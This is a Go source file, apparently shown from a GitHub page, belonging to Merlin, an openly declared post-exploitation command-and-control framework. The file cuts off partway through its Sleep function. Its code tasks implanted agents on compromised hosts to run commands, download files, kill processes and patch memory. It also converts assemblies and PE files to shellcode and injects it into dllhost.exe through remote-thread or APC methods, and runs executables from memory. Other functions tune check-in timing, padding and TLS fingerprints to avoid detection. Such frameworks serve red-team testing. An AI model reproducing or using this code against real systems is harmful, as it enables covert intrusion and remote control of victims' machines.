/
agents.go
1074 lines (977 loc) · 34.1 KB
/
agents.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
// Merlin is a post-exploitation command and control framework.
// This file is part of Merlin.
// Copyright (C) 2022 Russel Van Tuyl
// Merlin is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
// Merlin is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Merlin. If not, see <http://www.gnu.org/licenses/>.
package agents
import (
// Standard
"encoding/base64"
"fmt"
"os"
"path/filepath"
"strconv"
"strings"
"time"
// 3rd Party
uuid "github.com/satori/go.uuid"
// Merlin
"github.com/Ne0nd0g/merlin/pkg/agents"
"github.com/Ne0nd0g/merlin/pkg/api/messages"
"github.com/Ne0nd0g/merlin/pkg/core"
"github.com/Ne0nd0g/merlin/pkg/modules/donut"
"github.com/Ne0nd0g/merlin/pkg/modules/sharpgen"
"github.com/Ne0nd0g/merlin/pkg/modules/shellcode"
"github.com/Ne0nd0g/merlin/pkg/modules/socks"
"github.com/Ne0nd0g/merlin/pkg/modules/winapi/createprocess"
"github.com/Ne0nd0g/merlin/pkg/server/jobs"
)
// CD is used to change the agent's current working directory
func CD(agentID uuid.UUID, Args []string) messages.UserMessage {
var args []string
if len(Args) > 1 {
args = []string{Args[1]}
} else {
return messages.ErrorMessage("a directory path must be provided")
}
job, err := jobs.Add(agentID, "cd", args)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// ClearJobs removes any jobs the queue that have been created, but NOT sent to the agent
func ClearJobs(agentID uuid.UUID) messages.UserMessage {
err := jobs.Clear(agentID)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.UserMessage{
Level: messages.Success,
Message: fmt.Sprintf("jobs cleared for agent %s at %s", agentID, time.Now().UTC().Format(time.RFC3339)),
Time: time.Now().UTC(),
Error: false,
}
}
// ClearJobsCreated clears all created (but unsent) jobs for all agents
func ClearJobsCreated() messages.UserMessage {
err := jobs.ClearCreated()
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.UserMessage{
Level: messages.Success,
Message: fmt.Sprintf("All unsent jobs cleared at %s", time.Now().UTC().Format(time.RFC3339)),
Time: time.Now().UTC(),
Error: false,
}
}
// CMD is used to send a command to the agent to run a command or execute a program
// Args[0] = "cmd"
// Args[1:] = program and arguments to be executed on the host OS of the running agent
// Used with `cmd` and `shell` commands as well as through "standard" modules
func CMD(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) > 1 {
job, err := jobs.Add(agentID, Args[0], Args[1:])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
return messages.ErrorMessage("not enough arguments provided for the Agent Cmd call")
}
// Download is used to download the file through the corresponding agent from the provided input file path
// Args[0] = download
// Args[1] = file path to download
func Download(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) >= 2 {
job, err := jobs.Add(agentID, "download", []string{Args[1]})
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
return messages.ErrorMessage(fmt.Sprintf("not enough arguments provided for the Agent Download call: %s", Args))
}
// ENV is used to view or modify a host's environment variables
func ENV(agentID uuid.UUID, Args []string) messages.UserMessage {
var job string
var err error
if len(Args) > 1 {
switch strings.ToLower(Args[1]) {
case "get", "set", "unset":
if len(Args) < 2 {
return messages.ErrorMessage(fmt.Sprintf("Not enough arguments for the env %s command.\nenv %s <environment variable>", Args[0], Args[1]))
}
job, err = jobs.Add(agentID, "env", Args[1:])
case "showall":
job, err = jobs.Add(agentID, "env", Args[1:2])
}
} else {
return messages.ErrorMessage("Not enough arguments for the env command.")
}
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// ExecuteAssembly calls the donut module to create shellcode from a .NET 4.0 assembly and then uses the CreateProcess
// module to create a job that executes the shellcode in a remote process
func ExecuteAssembly(agentID uuid.UUID, Args []string) messages.UserMessage {
// Set the assembly filepath
var assembly string
if len(Args) > 1 {
assembly = Args[1]
} else {
return messages.ErrorMessage("the .NET assembly file path was not provided for execute-assembly")
}
// Set the assembly arguments, if any
// File path is checked in the donut module
var params string
if len(Args) > 2 {
params = Args[2]
}
// Set the SpawnTo path
options := make(map[string]string)
if len(Args) > 3 {
options["spawnto"] = Args[3]
} else {
options["spawnto"] = "C:\\WIndows\\System32\\dllhost.exe"
}
// Set the SpawnTo arguments, if any
if len(Args) > 4 {
options["args"] = Args[4]
} else {
options["args"] = ""
}
// Build Donut Config
config := donut.GetDonutDefaultConfig()
config.ExitOpt = 2
config.Type = 2 //DONUT_MODULE_NET_EXE = 2; .NET EXE. Executes Main if no class and method provided
//config.Runtime = "v4.0.30319"
config.Entropy = 3
config.Parameters = params
// Convert assembly into shellcode with donut
donutBuffer, err := donut.BytesFromConfig(assembly, config)
if err != nil {
return messages.ErrorMessage(fmt.Sprintf("error turning assembly into shellcode bytes with donut:\r\n%s", err))
}
options["shellcode"] = base64.StdEncoding.EncodeToString(donutBuffer.Bytes())
//Get CreateProcess job
j, err := createprocess.Parse(options)
if err != nil {
return messages.ErrorMessage(fmt.Sprintf("error generating a CreateProcess job:\r\n%s", err))
}
// Add job to the Agent's queue
job, err := jobs.Add(agentID, j[0], j[1:])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// ExecutePE calls the donut module to create shellcode from PE and then uses the CreateProcess
// module to create a job that executes the shellcode in a remote process
func ExecutePE(agentID uuid.UUID, Args []string) messages.UserMessage {
// Set the assembly filepath
var pe string
if len(Args) > 1 {
pe = Args[1]
} else {
return messages.ErrorMessage("the PE file path was not provided for execute-pe")
}
// Set the assembly arguments, if any
// File path is checked in the donut module
var params string
if len(Args) > 2 {
params = Args[2]
}
// Set the SpawnTo path
options := make(map[string]string)
if len(Args) > 3 {
options["spawnto"] = Args[3]
} else {
options["spawnto"] = "C:\\WIndows\\System32\\dllhost.exe"
}
// Set the SpawnTo arguments, if any
if len(Args) > 4 {
options["args"] = Args[4]
} else {
options["args"] = ""
}
// Build Donut Config
config := donut.GetDonutDefaultConfig()
config.ExitOpt = 2
config.Parameters = params
// Convert assembly into shellcode with donut
donutBuffer, err := donut.BytesFromConfig(pe, config)
if err != nil {
return messages.ErrorMessage(fmt.Sprintf("error turning pe into shellcode bytes with donut:\r\n%s", err))
}
options["shellcode"] = base64.StdEncoding.EncodeToString(donutBuffer.Bytes())
//Get CreateProcess job
j, err := createprocess.Parse(options)
if err != nil {
return messages.ErrorMessage(fmt.Sprintf("error generating a CreateProcess job:\r\n%s", err))
}
// Add job to the Agent's queue
job, err := jobs.Add(agentID, j[0], j[1:])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// ExecuteShellcode calls the corresponding shellcode module to create a job that executes the provided shellcode
// Args[0] = "execute-shellcode
// Args[1] = Shellcode execution method [self, remote, rtlcreateuserthread, userapc]
func ExecuteShellcode(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) > 2 {
options := make(map[string]string)
switch strings.ToLower(Args[1]) {
case "self":
options["method"] = "self"
options["pid"] = ""
options["shellcode"] = strings.Join(Args[2:], " ")
case "remote":
if len(Args) > 3 {
options["method"] = "remote"
options["pid"] = Args[2]
options["shellcode"] = strings.Join(Args[3:], " ")
} else {
return messages.ErrorMessage(fmt.Sprintf("not enough arguments provided for the Agent ExecuteShellcode (remote) call: %s", Args))
}
case "rtlcreateuserthread":
if len(Args) > 3 {
options["method"] = "rtlcreateuserthread"
options["pid"] = Args[2]
options["shellcode"] = strings.Join(Args[3:], " ")
} else {
return messages.ErrorMessage(fmt.Sprintf("not enough arguments provided for the Agent ExecuteShellcode (rtlcreateuserthread) call: %s", Args))
}
case "userapc":
if len(Args) > 3 {
options["method"] = "userapc"
options["pid"] = Args[2]
options["shellcode"] = strings.Join(Args[3:], " ")
} else {
return messages.ErrorMessage(fmt.Sprintf("not enough arguments provided for the Agent ExecuteShellcode (userapc) call: %s", Args))
}
default:
return messages.ErrorMessage(fmt.Sprintf("invalide ExecuteShellcode method: %s", Args[1]))
}
if len(options) > 0 {
sh, errSh := shellcode.Parse(options)
if errSh != nil {
m := fmt.Sprintf("there was an error parsing the shellcode:\r\n%s", errSh.Error())
return messages.ErrorMessage(m)
}
job, err := jobs.Add(agentID, sh[0], sh[1:])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
}
return messages.ErrorMessage(fmt.Sprintf("not enough arguments provided for the Agent ExecuteShellcode call: %s", Args))
}
// Exit instructs the agent to quit running
func Exit(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) > 0 {
job, err := jobs.Add(agentID, "exit", Args[0:])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
return messages.ErrorMessage(fmt.Sprintf("not enough arguments provided for the Agent \"exit\" command: %s", Args))
}
// GetAgents returns a list of existing Agent UUID values
func GetAgents() (agentList []uuid.UUID) {
for id := range agents.Agents {
agentList = append(agentList, id)
}
return
}
// GetAgentsRows returns a row of data for every agent that includes information about it such as
// the Agent's GUID, platform, user, host, transport, and status
func GetAgentsRows() (header []string, rows [][]string) {
header = []string{"Agent GUID", "Transport", "Platform", "Host", "User", "Process", "Status", "Last Checkin", "Note"}
for _, agent := range agents.Agents {
// Convert proto (i.e. h2 or hq) to user friendly string
var proto string
switch agent.Proto {
case "http":
proto = "HTTP/1.1 clear-text"
case "https":
proto = "HTTP/1.1 over TLS"
case "h2c":
proto = "HTTP/2 clear-text"
case "h2":
proto = "HTTP/2 over TLS"
case "http3":
proto = "HTTP/3 (HTTP/2 over QUIC)"
default:
proto = fmt.Sprintf("Unknown: %s", agent.Proto)
}
status, _ := GetAgentStatus(agent.ID)
lastTime := lastCheckin(agent.StatusCheckIn)
// Get the process name, sans full path
var proc string
if agent.Platform == "windows" {
proc = agent.Process[strings.LastIndex(agent.Process, "\\")+1:]
} else {
proc = agent.Process[strings.LastIndex(agent.Process, "/")+1:]
}
p := fmt.Sprintf("%s(%d)", proc, agent.Pid)
rows = append(rows, []string{
agent.ID.String(),
proto,
agent.Platform + "/" + agent.Architecture,
agent.HostName,
agent.UserName,
p,
status,
lastTime,
agent.Note,
})
}
return
}
// GetAgentInfo returns rows of data about an Agent's configuration that can be displayed in a table
func GetAgentInfo(agentID uuid.UUID) ([][]string, messages.UserMessage) {
var rows [][]string
a, ok := agents.Agents[agentID]
if !ok {
return rows, messages.ErrorMessage(fmt.Sprintf("%s is not a valid agent", agentID))
}
status, message := GetAgentStatus(agentID)
if message.Error {
return rows, message
}
var groups []string
for _, row := range agents.GroupListAll() {
if row[1] == a.ID.String() {
groups = append(groups, row[0])
}
}
rows = [][]string{
{"Status", status},
{"ID", a.ID.String()},
{"Platform", fmt.Sprintf("%s/%s", a.Platform, a.Architecture)},
{"User Name", a.UserName},
{"User GUID", a.UserGUID},
{"Integrity Level", fmt.Sprintf("%d", a.Integrity)},
{"Hostname", a.HostName},
{"Process Name", a.Process},
{"Process ID", strconv.Itoa(a.Pid)},
{"IP", strings.Join(a.Ips, "\n")},
{"Initial Check In", a.InitialCheckIn.Format(time.RFC3339)},
{"Last Check In", fmt.Sprintf("%s (%s)", a.StatusCheckIn.Format(time.RFC3339), lastCheckin(a.StatusCheckIn))},
{"Groups", strings.Join(groups, ", ")},
{"Note", a.Note},
{"", ""},
{"Agent Version", a.Version},
{"Agent Build", a.Build},
{"Agent Wait Time", a.WaitTime},
{"Agent Wait Time Skew", strconv.FormatInt(a.Skew, 10)},
{"Agent Message Padding Max", strconv.Itoa(a.PaddingMax)},
{"Agent Max Retries", strconv.Itoa(a.MaxRetry)},
{"Agent Failed Check In", strconv.Itoa(a.FailedCheckin)},
{"Agent Kill Date", time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339)},
{"Agent Communication Protocol", a.Proto},
{"Agent JA3 TLS Client Signature", a.JA3},
}
return rows, messages.UserMessage{}
}
// GetAgentStatus determines if the agent is active, delayed, or dead based on its last checkin time
func GetAgentStatus(agentID uuid.UUID) (string, messages.UserMessage) {
var status string
agent, ok := agents.Agents[agentID]
if !ok {
return status, messages.ErrorMessage(fmt.Sprintf("%s is not a valid agent", agentID))
}
dur, errDur := time.ParseDuration(agent.WaitTime)
if errDur != nil && agent.WaitTime != "" {
return status, messages.ErrorMessage(fmt.Sprintf("Error converting %s to a time duration: %s", agent.WaitTime, errDur))
}
if agent.StatusCheckIn.Add(dur).After(time.Now()) {
status = "Active"
} else if agent.StatusCheckIn.Add(dur * time.Duration(agent.MaxRetry+1)).After(time.Now()) { // +1 to account for skew
status = "Delayed"
} else {
status = "Dead"
}
return status, messages.UserMessage{}
}
// GetJobs enumerates all created (but unsent) jobs across all agents
func GetJobs() [][]string {
return jobs.GetTableAll()
}
// GetJobsForAgent enumerates all jobs and their status
func GetJobsForAgent(agentID uuid.UUID) ([][]string, messages.UserMessage) {
jobsRows, err := jobs.GetTableActive(agentID)
if err != nil {
return nil, messages.ErrorMessage(err.Error())
}
return jobsRows, messages.UserMessage{}
}
// GroupAdd adds an agent to a server-side grouping
func GroupAdd(agentID uuid.UUID, groupName string) messages.UserMessage {
if groupName == "all" {
return messages.UserMessage{
Level: messages.Info,
Time: time.Now().UTC(),
Message: "Global group 'all' is immutable.",
}
}
err := agents.GroupAddAgent(agentID, groupName)
if err == nil {
return messages.UserMessage{
Level: messages.Info,
Time: time.Now().UTC(),
Message: fmt.Sprintf("Agent %s added to group %s", agentID.String(), groupName),
}
}
return messages.ErrorMessage(err.Error())
}
// GroupList lists agents that are part of a specific group
func GroupList(groupName string) []string {
var out []string
for _, row := range agents.GroupListAll() {
if row[0] == groupName {
out = append(out, row[1])
}
}
return out
}
// GroupListAll returns a table of {groupName, agentID}
func GroupListAll() [][]string {
return agents.GroupListAll()
}
// GroupListNames returns array of active group names
func GroupListNames() []string {
return agents.GroupListNames()
}
// GroupRemove removes an agent from a group
func GroupRemove(agentID uuid.UUID, groupName string) messages.UserMessage {
if groupName == "all" {
return messages.UserMessage{
Level: messages.Info,
Time: time.Now().UTC(),
Message: "Global group 'all' is immutable.",
}
}
err := agents.GroupRemoveAgent(agentID, groupName)
if err == nil {
return messages.UserMessage{
Level: messages.Info,
Time: time.Now().UTC(),
Message: fmt.Sprintf("Agent %s removed from group %s", agentID.String(), groupName),
}
}
return messages.ErrorMessage(err.Error())
}
// IFConfig lists the agent's network adapter information
func IFConfig(agentID uuid.UUID) messages.UserMessage {
job, err := jobs.Add(agentID, "ifconfig", nil)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// InvokeAssembly executes an assembly that was previously loaded with the load-assembly command
func InvokeAssembly(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) < 1 {
return messages.ErrorMessage("not enough arguments, the assembly name must be provided")
}
job, err := jobs.Add(agentID, Args[0], Args[1:])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// JA3 is used to change the Agent's JA3 signature
func JA3(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) > 1 {
job, err := jobs.Add(agentID, "ja3", Args)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
return messages.ErrorMessage(fmt.Sprintf("Not enough arguments provided for the Agent SetJA3 call: %s", Args))
}
// KillDate configures the date and time that the agent will stop running
func KillDate(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) > 1 {
_, errU := strconv.ParseInt(Args[2], 10, 64)
if errU != nil {
m := fmt.Sprintf("There was an error converting %s to an int64", Args[1])
m = m + "\r\nKill date takes in a UNIX epoch timestamp such as 811123200 for September 15, 1995"
return messages.ErrorMessage(m)
}
job, err := jobs.Add(agentID, "killdate", Args)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
return messages.ErrorMessage(fmt.Sprintf("Not enough arguments provided for the Agent SetKillDate call: %s", Args))
}
// KillProcess tasks an agent to kill a process by its number identifier
func KillProcess(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) == 2 {
pid, err := strconv.Atoi(Args[1])
if err != nil || pid < 0 {
return messages.ErrorMessage(fmt.Sprintf("Invalid PID provided: %s\n%s", Args[1], err))
}
args := []string{Args[1]}
job, err := jobs.Add(agentID, "killprocess", args)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
return messages.ErrorMessage(fmt.Sprintf("not enough arguments provided for the Agent \"kill\" command: %s", Args))
}
// ListAssemblies instructs the agent to list all of the .NET assemblies that are currently loaded into the agent's process
// .NET assemblies are loaded with the LoadAssembly call
func ListAssemblies(agentID uuid.UUID) messages.UserMessage {
job, err := jobs.Add(agentID, "list-assemblies", []string{})
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// LoadAssembly reads in a .NET assembly and sends it to the agent so it can be loaded
// into a CLR AppDomain for later execution
func LoadAssembly(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) < 1 {
return messages.ErrorMessage("not enough arguments, an assembly must be provided")
}
_, err := os.Stat(Args[1])
if err != nil {
return messages.ErrorMessage(fmt.Sprintf("there was an error accessing the assembly:\n%s", err))
}
job, err := jobs.Add(agentID, Args[0], Args[1:])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// LoadCLR loads the .NET Common Language Runtime (CLR) into the agent's process
// .NET assemblies can subsequently be loaded with the LoadAssembly call and executed with the InvokeAssembly call
func LoadCLR(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) < 1 {
return messages.ErrorMessage("not enough arguments, a .NET version must be provided")
}
job, err := jobs.Add(agentID, Args[0], Args[1:])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// LS uses native Go to list the directory
func LS(agentID uuid.UUID, Args []string) messages.UserMessage {
var args []string
if len(Args) > 1 {
args = []string{Args[1]}
}
job, err := jobs.Add(agentID, "ls", args)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// MaxRetry configures the amount of times an Agent will try to checkin before it quits
func MaxRetry(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) > 1 {
// Need to set the Sleep time on the server first to calculate JWT lifetime
err := agents.SetMaxRetry(agentID, Args[1])
if err != nil {
return messages.ErrorMessage(err.Error())
}
job, err := jobs.Add(agentID, "maxretry", Args)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
return messages.ErrorMessage(fmt.Sprintf("Not enough arguments provided for the Agent SetMaxRetry call: %s", Args))
}
// Memory interacts with virtual memory on the operating system where the agent is running
func Memory(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) < 5 {
return messages.ErrorMessage(fmt.Sprintf("expected 4 arguments but received %d: %+v", len(Args), Args))
}
// Valid commands are read, patch, write
if Args[1] != "read" && Args[1] != "patch" && Args[1] != "write" {
return messages.ErrorMessage(fmt.Sprintf("Invalid memory module command: \"%s\"", Args[1]))
}
job, err := jobs.Add(agentID, "memory", Args[1:])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// MEMFD run a linux executable from memory
func MEMFD(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) < 1 {
return messages.ErrorMessage("not enough arguments. An executable was not provided")
}
job, err := jobs.Add(agentID, "memfd", Args[1:])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// Netstat is used to print network connections on the target system
// Supports a "-p tcp" or "-p udp"
func Netstat(agentID uuid.UUID, Args []string) messages.UserMessage {
// Ensure the provided args are valid
// Args[0] = "netstat"
// Args[1] = (optional) "-p"
// Args[2] = (optional) "tcp" or "udp"
if len(Args) > 3 {
return messages.ErrorMessage("Too many arguments provided to the netstat command")
} else if len(Args) == 2 {
return messages.ErrorMessage("Incorrect arguments provided to the netstat command")
} else if len(Args) == 3 {
if Args[1] != "-p" {
return messages.ErrorMessage("Incorrect arguments provided to the netstat command")
} else if !(Args[2] == "tcp" || Args[2] == "udp") {
return messages.ErrorMessage("Incorrect arguments provided to the netstat command")
}
}
job, err := jobs.Add(agentID, "netstat", Args)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// Note sets a note on the Agent's Note field
func Note(agentID uuid.UUID, Args []string) messages.UserMessage {
note := strings.Join(Args, " ")
err := agents.SetAgentNote(agentID, note)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.UserMessage{
Level: messages.Info,
Time: time.Now().UTC(),
Message: fmt.Sprintf("Agent %s's note set to: %s", agentID, note),
}
}
// NSLOOKUP instructs the agent to perform a DNS query on the input
func NSLOOKUP(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) < 1 {
return messages.ErrorMessage("not enough arguments. A query was not provided")
}
job, err := jobs.Add(agentID, "nslookup", Args[1:])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// Padding configures the maxium size for the random amount of padding added to each message
func Padding(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) > 1 {
job, err := jobs.Add(agentID, "padding", Args)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
return messages.ErrorMessage(fmt.Sprintf("Not enough arguments provided for the Agent SetPadding call: %s", Args))
}
// Pipes enumerates and displays named pipes on Windows hosts only
func Pipes(agentID uuid.UUID) messages.UserMessage {
job, err := jobs.Add(agentID, "pipes", nil)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// PS displays running processes
func PS(agentID uuid.UUID) messages.UserMessage {
job, err := jobs.Add(agentID, "ps", nil)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// PWD is used to print the Agent's current working directory
func PWD(agentID uuid.UUID, Args []string) messages.UserMessage {
job, err := jobs.Add(agentID, "pwd", Args)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// Remove deletes the agent from the server
func Remove(agentID uuid.UUID) messages.UserMessage {
err := agents.RemoveAgent(agentID)
if err == nil {
return messages.UserMessage{
Level: messages.Info,
Time: time.Now().UTC(),
Message: fmt.Sprintf("Agent %s was removed from the server at %s", agentID, time.Now().UTC().Format(time.RFC3339)),
}
}
return messages.ErrorMessage(err.Error())
}
// RM removes, or deletes, a file
func RM(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) < 2 {
return messages.ErrorMessage("not enough arguments: rm <filepath>")
}
job, err := jobs.Add(agentID, Args[0], Args[1:2])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// RunAs creates a new process as the provided user
func RunAs(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) < 4 {
return messages.ErrorMessage("not enough arguments: runas <username> <password> <application> [<args>]")
}
job, err := jobs.Add(agentID, Args[0], Args[1:])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// SecureDelete securely deletes supplied file
func SecureDelete(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) < 2 {
return messages.ErrorMessage("Not enough arguments. A file path was not provided.")
}
job, err := jobs.Add(agentID, "sdelete", Args)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// SharpGen generates a .NET core assembly, converts it to shellcode with go-donut, and executes it in the spawnto process
func SharpGen(agentID uuid.UUID, Args []string) messages.UserMessage {
// Set the assembly filepath
options := make(map[string]string)
if len(Args) > 1 {
options["code"] = fmt.Sprintf("Console.WriteLine(%s);", Args[1])
} else {
return messages.ErrorMessage("code must be provided for the SharpGen module")
}
// Set the SpawnTo path
if len(Args) > 2 {
options["spawnto"] = Args[2]
} else {
options["spawnto"] = "C:\\WIndows\\System32\\dllhost.exe"
}
// Set the SpawnTo arguments, if any
if len(Args) > 3 {
options["args"] = Args[3]
} else {
options["args"] = ""
}
// Set SharpGen Module Parse() options
options["dotnetbin"] = "dotnet"
options["sharpgenbin"] = filepath.Join(core.CurrentDir, "data", "src", "cobbr", "SharpGen", "bin", "release", "netcoreapp2.1", "SharpGen.dll")
options["help"] = "false"
options["file"] = filepath.Join(core.CurrentDir, "sharpgen.exe")
options["dotnet"] = ""
options["output-kind"] = ""
options["platform"] = ""
options["no-optimization"] = "false"
options["assembly-name"] = ""
options["source-file"] = ""
options["class-name"] = ""
options["confuse"] = ""
if core.Verbose {
options["verbose"] = "true"
} else {
options["verbose"] = "false"
}
j, err := sharpgen.Parse(options)
if err != nil {
return messages.ErrorMessage(fmt.Sprintf("there was an error using the SharpGen module:\r\n%s", err))
}
// Add job to the Agent's queue
job, err := jobs.Add(agentID, j[0], j[1:])
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
// Skew configures the amount of skew an Agent uses to randomize checkin times
func Skew(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) > 1 {
job, err := jobs.Add(agentID, "skew", Args)
if err != nil {
return messages.ErrorMessage(err.Error())
}
return messages.JobMessage(agentID, job)
}
return messages.ErrorMessage(fmt.Sprintf("Not enough arguments provided for the Agent SetSkew call: %s", Args))
}
// Sleep configures the Agent's sleep time between checkins
func Sleep(agentID uuid.UUID, Args []string) messages.UserMessage {
if len(Args) > 1 {
